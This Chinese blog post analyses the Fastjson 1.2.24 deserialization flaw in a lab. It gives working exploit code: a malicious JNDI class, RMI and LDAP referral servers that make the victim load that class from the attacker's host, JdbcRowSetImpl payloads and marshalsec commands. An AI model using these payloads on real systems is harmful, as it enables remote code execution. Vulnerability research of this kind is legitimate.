Fastjson 1.2.22-24 反序列化漏洞分析(2)

1.环境搭建

我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者

本机地址:192.168.202.1

ubuntu地址:192.168.202.129

JDK版本:jdk8u102

1.1 被攻击服务器

这里用ubuntu模拟被攻击的服务器

在ubuntu搭建一个springboot网站,用来模拟解析fastjson:

pom.xml

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.0</version>
<relativePath/> <!-- lookup parent from repository -->
</parent> <dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency> <dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency> <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>

新建一个控制器:HelloController

package com.yy.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody; @Controller
public class HelloController {
@ResponseBody
@RequestMapping("/hello")
public Object hello(@RequestParam("name")String name) throws Exception {
Object object = JSON.parseObject(name);
return object + "+" + name;
}
}

启动springboot并且访问,传输name={"name":"yangyang"},就会出现被解析的json字符串

1.2 攻击机

本机用来攻击ubuntu

新建一个恶意类,注意需要继承ObjectFactory接口

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable; public class exec implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
return null;
}
}

把恶意类编译成class文件

javac exec.java

在本机包含恶意类的目录下,启动一个web服务器,访问8000端口可以下载恶意类

2. 漏洞利用

2.1 JNDI+RMI的利用

由于在JNDI利用RMI攻击时,8u113版本开始做了限制导致无法利用,所以我们把被攻击服务器(ubuntu)的JDK版本设置为了8u112

本机启动一个Server端,利用JNDI启动RMI注册中心,绑定恶意类

package com.yy.jndi.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("exec", "exec", "http://192.168.202.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("exp", refObjWrapper);
}
}

打开具有漏洞的网站,输入payload,其中的dataSourceName后面填上是访问注册中心的url

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.202.1:1099/exp", "autoCommit":true}}

由于容器会把特殊字符进行一次url解码,所以我们这里进行一次编码

发送payload后,ubuntu弹出了计算器

服务器日志里出现了下载信息

2.2 JNDI+LDAP的利用

LDAP利用的话,版本更加的广

和RMI利用一样,本机启动一个server端,

package com.yy.jndi.ldap;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; public class Server {
private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) {
String[] args = new String[]{"http://192.168.202.1:8000/#exec", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
} try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening(); } catch (Exception e) {
e.printStackTrace();
}
} private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
} /**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
} } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
}

String[]的参数

第一个参数是下载class文件的url地址:http://192.168.202.1:8000/#exec
第二个参数是LDAP的交互端口:9999

接下来就是攻击fastjson服务器了,以下是payload,只需要改下url地址就行,填的是访问LDAP服务端的URL地址

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:9999/exec", "autoCommit":true}}

在发送前同样进行一次url编码:

发送后,弹出了计算器,服务器日志也有响应


2.3 利用marshalsec

其实以上无论是利用RMI还是LDAP都可以使用marshalsec来更简化的完成

marshalsec地址

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包,进入marshalsec目录后

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

2.3.1 利用JNDI+RMI

在有恶意类的目录下,启动python的web服务

利用marshalsec启动RMI注册中心

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://192.168.202.1:8000/#exec

编码payload后,进行发送:

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.202.1:1099/exp", "autoCommit":true}}

弹出计算器:

2.3.2 利用JNDI+LDAP

启动LDAP服务端,这里不能填写127.0.0.1:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.202.1:8000/#exec 9999

编码payload后发送

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:9999/exec", "autoCommit":true}}

弹出计算器

3.漏洞分析

这个payload利用的是com.sun.rowset.JdbcRowSetImpl类进行触发操作,利用setDataSourceName方法把dataSource的值设置成了恶意的ldap地址,然后利用setAutoCommit调用了lookup操作,访问了恶意的ldap地址导致了jndi注入(会远程加载类后按顺序执行静态方法,初始方法,构造方法最后到getObjectInstance方法),而这些方法里面就有命令执行的操作。

分别在setAutoCommit和setDataSourceName处下个断点,发送payload:

在第1373行进行了将dataSource设置成了ldap://192.168.202.1:9999/exec

直接下一个断点,再来看另外一个方法setAutoCommit

这里调用了connect()方法,跟进

在326行就进行了熟悉的InitialContext#lookup了,执行完毕后就会弹出计算器

总结:

利用JdbcRowSetImpl类来攻击,实用性更加的广泛,而使用TemplatesImpl类的话,则需要在解析函数中加入Feature.SupportNonPublicField选项

在JDK高版本中,比如8u191,这案例中的远程加载恶意类的利用方式已经失效,不过并没有限制从本地进行加载类文件,可以参考我得另一篇讲的高版本JNDI注入得文章。

参考:

https://www.cnblogs.com/sijidou/p/13121332.html?ivk_sa=1024320u

https://blog.csdn.net/qq_34101364/article/details/111706189

Fastjson 1.2.22-24 反序列化漏洞分析(2)的更多相关文章

  1. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  2. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  3. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  4. Fastjson 1.2.22-24 反序列化漏洞分析(1)

    Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...

  5. Shiro 550反序列化漏洞分析

    Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...

  6. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  7. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

  8. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  9. Java安全之Cas反序列化漏洞分析

    Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...

随机推荐

  1. C++ //多态案例三 ---电脑组装

    1 //多态案例三 ---电脑组装 2 3 #include <iostream> 4 #include <string> 5 using namespace std; 6 7 ...

  2. Windows10公钥远程连接Linux服务器

    目录 前言 一.环境准备 二.使用步骤 1.服务器安装并配置OpenSSH 2. 本地生成密钥 3. 服务器ssh添加密钥 三 总结 前言 使用公钥远程登陆Linux十分方便,无需输入密码,同时采用V ...

  3. FTP三种访问模式

    FTP匿名访问模式是比较不安全的服务模式,尤其在真实的工作环境中千万不要存放敏感的数据,以免泄露. vsftpd程序默认已经允许匿名访问模式,我们要做的就是开启匿名用户的上传和写入权限,写入下面的参数 ...

  4. STM32—SPI详解

    目录 一.什么是SPI 二.SPI协议 物理层 协议层 1.通讯时序图 2.起始和停止信号 3.数据有效性 4.通讯模式 三.STM32中的SPI 简介 功能框图 1.通讯引脚 2.时钟控制逻辑 3. ...

  5. F与Q查询 事务 choices参数

    F与Q查询 F查询 当我们需要将两个字段对应的数据进行比较时就需要用到F查询. select * from book where sold > stock 1.例如需要将售出部分数据和库存数据进 ...

  6. Visual Studio调试器指南---多线程应用程序调试(一)

    线程是操作系统向其授予处理器时间的指令序列. 在操作系统中运行的每个进程都包含至少一个线程. 包含多个线程的进程称为多线程.有多个处理器.多核处理器或超线程进程的计算机可以同时运行多个线程. 使用多个 ...

  7. 15.SpringMVC之异步请求

    SpringMVC中异步请求相关组件 SpringMVC在此基础上对异步请求进行了封装.提供了AsyncWebRequest类型的request,并提供了处理异步请求的管理器WebAsyncManag ...

  8. Redis Jedis lua脚本

    参考:http://redisdoc.com/script/eval.htmlhttps://blog.csdn.net/diudiu2025/article/details/86483043fina ...

  9. Java程序设计学习笔记(三)—— IO

    时间:2016-3-24 11:02 --IO流(Input/Output)     IO流用来处理设备之间的数据传输.    Java对数据的操作是通过流的方式.    Java对于操作流的对象都在 ...

  10. 前端云原生,以 Kubernetes 为基础设施的高可用 SSR(Vue.js) 渲染微服务初探(开源 Demo)

    背景 笔者在逛掘金的时候,有幸看到掘友狼族小狈开源的 genesis - 一个可以支持 SSR 和 CSR 渲染的微服务解决方案.总体来说思想不错,但是基于 Kubernetes 云原生部署方面一直没 ...